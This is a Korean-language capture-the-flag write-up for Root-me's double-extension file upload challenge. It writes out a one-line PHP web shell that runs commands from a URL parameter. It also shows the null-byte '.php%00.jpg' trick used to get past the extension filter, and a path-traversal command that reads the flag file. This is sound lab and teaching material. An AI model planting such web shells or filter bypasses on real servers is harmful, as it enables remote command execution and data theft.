WriteUp/Root-me.org

Root-me : [Web_Server]File upload - Double extensions

vared 2020. 8. 4. 09:31

파일 업로드 문제다. 이전부터 깊게 연습해보고 싶었는데 이번 기회에 제대로 풀어보도록 하자.

 

/.passwd 실행하도록 코드를 짜면 된다. 보통 웹쉘을 만들어서 inject 해줘야 하는데 다음과 같은 형식으로 코드를 짜줘야 한다.

 

<?php

system("$_GET['cmd']");

?>

 

경우는 우리가 목표로 하는 파일 위치를 모르기 때문에 계속해서 찾아볼 있도록 하기 위함이고, 문제같은 경우 파일 경로를 알기 때문에 다음과 같이 작성했다.

 

<?php

system("cat /.passwd");

?>

 

 

이제 문제를 보자

 

역시나 업로드 카테고리가 있다.

이렇게 확장자를 필터링 하는 모습을 있는데 현재 파일이 php 작성되어 있어서 우회해야 한다.

 

우회하는 방법이 많은데 방법중 하나로

.php -> .PHP

이렇게 바꿔주는 방법이 있다.

안된다.

 

.php -> .php%00

이렇게 문자를 넣어주는 방법도 있다.

그대로이다. 잘못했나 봤더니 .jpg/jpeg 받아들이는 같다.

null문자 뒤에 .jpg 붙여주자. 이래서 문제 제목이 double extension 같다.

 

.php -> .php%00.jpg

 

 

 

오케이 성공했다. 경로도 보여주는 것으로 보아 상당히 취약한것 같다.

커맨드 넣으면서 보고싶어서 첫번째 파일로 넣어줬다.

total 184

drwxr-s--- 2 web-serveur-ch20 www-data 4096 Aug 4 02:21 .

drwxr-s--- 19 web-serveur-ch20 www-data 172032 Aug 4 02:18 ..

-rw-r--r-- 1 web-serveur-ch20 web-serveur-ch20 34 Aug 4 02:21 test1.php.jpeg

-rw-r--r-- 1 web-serveur-ch20 web-serveur-ch20 36 Aug 4 02:17 test2.PHP.jpg

 

직접 ls 하면서 찾아본 결과. galerie 폴더 위의 디렉토리가 루트 디렉토리이다.

?cmd =cat ../../../.passwd 넣어주면 passwd 나온다.

 

이렇게 password 출력할 있다.